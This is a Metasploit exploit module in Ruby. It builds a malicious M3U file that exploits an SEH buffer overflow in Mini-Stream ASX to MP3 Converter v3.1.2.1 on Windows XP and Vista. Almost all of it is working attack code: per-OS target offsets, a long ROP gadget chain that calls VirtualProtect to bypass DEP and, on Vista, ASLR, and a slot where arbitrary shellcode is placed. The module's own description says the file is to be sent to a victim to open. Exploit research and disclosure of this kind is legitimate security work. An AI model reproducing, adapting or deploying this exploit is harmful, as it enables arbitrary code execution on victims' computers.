# Exploit Title:     ASX to MP3 Converter v3.1.2.1 SEH Exploit (Multiple OS, DEP and ASLR Bypass)
# Date:              July 13, 2010
# Author:            Node
# Software Link:     http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe
# Version:           Mini-Stream Software ASX to MP3 Converter v3.1.2.1.2010.03.30 Evaluation
# Tested on:         Windows Vista Ultimate SP1 Eng
#                    Windows Vista Ultimate SP2 Eng
#                    Windows XP Pro SP3 Eng
#                    Windows XP Pro SP2 Swe
#                    Windows XP Pro SP3 Swe
#                    Windows XP Home SP3 Swe
# CVE :
# Notes:             This is a proof of concept that it is possible to write ROP exploits 
#                    that are portable to different operating systems. This exploit is 
#                    using the following variables: 
#
#                    1. "Offset":    The offset to the SEH overwrite
#                    2. "Offset2":   The offset before the ROP code starts in the buffer
#                    3. "K32Offset": The offset to the kernel32 pointer on the stack
#                    4. "VPOffset":  The offset to VirtualProtect() from the grabbed 
#                                    kernel32 address
#                    5. "ASLR":      Activates or deactivates the ASLR bypassing ROP code 
#
#                    The K32Offset and VPOffset are negged hex-numbers, to evade the 
#                    null-byte problem. In the first target, K32Offset is "0xfffebcac" 
#                    which gets converted in the ROP code to 0x00014354 (82772), which is 
#                    how much the saved ESP address needs to be subtracted, to point to 
#                    the kernel32 address. VPOffset is how much the Kernel32 address 
#                    needs to be subtracted, to point to the VirtualProtect() function. 
#                    If "ASLR" is false, "VPOffset" will be treated as the direct, 
#                    non-negged address to VirtualProtect() in Kernel32.dll.
# Code:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mini-Stream Software ASX to MP3 Converter v3.1.2.1 SEH Buffer Overflow.',
			'Description'    => %q{
					This module exploits a SEH-based buffer overflow in ASX to MP3 Converter 
					v.3.1.2.1. An attacker must send the file to victim, and the victim must open
					the specially crafted M3U file. This exploit is written with ROP gadgets from 
					MSA2Mfilter03.dll and bypasses DEP on all systems including ASLR on Vista.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Node' ],
			'Version'        => '$Revision: 99999 $',
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP1 Eng x86', 	 
						{'Offset' => 43511,
						'Offset2' =>  16339, 
						'K32Offset' => 0xfffebcac,
						'VPOffset' => 0xfffe4e9c,
						'ASLR' => true } ],
					[ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP2 Eng x86', 	 
						{'Offset' => 43511,
						'Offset2' =>  16339, 
						'K32Offset' => 0xfffebcac,
						'VPOffset' => 0xfffe5bf0,
						'ASLR' => true } ],
					[ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Eng x86', 	
						{'Offset' => 43484,
						'Offset2' =>  16312,
						'VPOffset' => 0x7c801ad4,
						'ASLR' => false } ],
					[ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP2 Swe x86', 	
						{'Offset' => 43476,
						'Offset2' =>  16304,
						'VPOffset' => 0x7c801ad0,
						'ASLR' => false } ],
					[ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Swe x86', 	
						{'Offset' => 43491,
						'Offset2' =>  16319,
						'VPOffset' => 0x7c801ad4,
						'ASLR' => false } ],
					[ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Home SP3 Swe x86', 	
						{'Offset' => 43476,
						'Offset2' =>  16304,
						'VPOffset' => 0x7c801ad4,
						'ASLR' => false } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => '',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'asx2mp3.m3u']),
			], self.class)
	end

	def exploit

		rop = [0x1002F7B7].pack('V')  # PUSH ESP # AND AL,0C # NEG EDX # NEG EAX # SBB EDX,0 # POP EBX # RETN 10
		rop << [0x10023315].pack('V') # ADD ESP,20 # RETN  
		rop << "1111" # VirtualProtect() placeholder
		rop << "2222" #return address placeholder
		rop << "3333" #lpAddress placeholder
		rop << "4444" #dwsize placeholder
		rop << "5555" #flNewProtect placeholder
		rop << [0x10066005].pack('V') # lpflOldProtect writable address
		rop << "A" * 8
		rop << "A" * 16 # because of RETN 10
		rop << [0x1002991C].pack('V') # XOR EDX,EDX # RETN
		rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
		rop << "A" * 4
		rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
		rop << "A" * 16
		
		
		if target['ASLR'] == true
			rop << [0x1002A649].pack('V')  # POP EAX # RETN
			rop << [target['K32Offset']].pack('V')
			rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
			rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
			rop << "A" * 8
			rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
			rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN 
			rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN
			rop << "A" * 8
			rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
			rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN
			rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
			rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
			rop << "A" * 8
		end

		rop << [0x100115AA].pack('V')  # POP EBX # RETN
		rop << [0xffffffff].pack('V')
		rop << [0x10014548].pack('V')  # XOR EAX,EAX # RETN
		rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
		rop << [0x10016C87].pack('V')  # INC EAX # RETN
		rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
		rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
		rop << "A" * 4
		rop << [0x1002A649].pack('V')  # POP EAX # RETN
		rop << "A" * 16

		rop << [target['VPOffset']].pack('V')

		if target['ASLR'] == true
			rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
			rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
			rop << "A" * 8
			rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
			rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN 
			rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP #POP EBX # RETN
			rop << "A" * 8
			rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
			rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
			rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN
		end
 
		rop << [0x10019AA7].pack('V')  # MOV DWORD PTR DS:[EDX],EAX # POP EDI # XOR EAX,EAX # POP EBP # ADD ESP,40 		# RETN
		rop << "A" * 8
		rop << "A" * 64
		rop << [0x1002A649].pack('V')  # POP EAX # RETN
		rop << [0xffff95c8].pack('V') # negged shellcode offset
		rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
		rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
		rop << "A" * 8
		rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
		rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN 
		rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN
		rop << "A" * 8
		rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
		rop << [0x1001451E].pack('V')  # ADD EAX,ECX # RETN
		rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
		rop << "A" * 8
		rop << [0x100115AA].pack('V')  # POP EBX # RETN
		rop << [0xffffffff].pack('V')
		rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
		rop << [0x10016C87].pack('V')  # INC EAX # RETN
		rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
		rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
		rop << "A" * 4
		rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
		rop << "A" * 16	
		rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
		rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
		rop << "A" * 8
		rop << [0x100115AA].pack('V')  # POP EBX # RETN
		rop << [0xffffffff].pack('V')
		rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
		rop << [0x10016C87].pack('V')  # INC EAX # RETN
		rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
		rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
		rop << "A" * 4
		rop << [0x1002A649].pack('V')  # POP EAX # RETN
		rop << "A" * 16
		rop << [0xfffffc18].pack('V') # 0x3e8(1000].pack('V') negged
		rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
		rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
		rop << "A" * 8
		rop << [0x100115AA].pack('V')  # POP EBX # RETN
		rop << [0xffffffff].pack('V')
		rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
		rop << [0x10016C87].pack('V')  # INC EAX # RETN
		rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
		rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
		rop << "A" * 4
		rop << [0x1002A649].pack('V')  # POP EAX # RETN
		rop << "A" * 16
		rop << [0xffffffc0].pack('V') # 0x40 negged
		rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
		rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
		rop << "A" * 8
		rop << [0x100115AA].pack('V')  # POP EBX # RETN
		rop << [0xffffffff].pack('V')
		rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
		rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
		rop << [0x10016C87].pack('V')  # INC EAX # RETN
		rop << [0x10016C87].pack('V')  # INC EAX # RETN
		rop << [0x10016C87].pack('V')  # INC EAX # RETN
		rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
		rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
		rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
		rop << "A" * 4
		rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
		rop << "A" * 16
		rop << [0x1002FE81].pack('V')  # XCHG EAX,ESP # RETN

		junk = rand_text_alpha_upper(target['Offset2']) #needed because of ADD ESP,4404 # RETN
		junktoseh = rand_text_alpha_upper(target['Offset'] - junk.length - rop.length)
		seh = [0x100177EA].pack('V') #ADD ESP,4404 # RETN
		nops = "\x90" * 24
		shellspace = rand_text_alpha_upper(1000 - payload.encoded.length)
		m3ufile = junk + rop + junktoseh + seh + nops + payload.encoded + shellspace
		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(m3ufile)

	end

end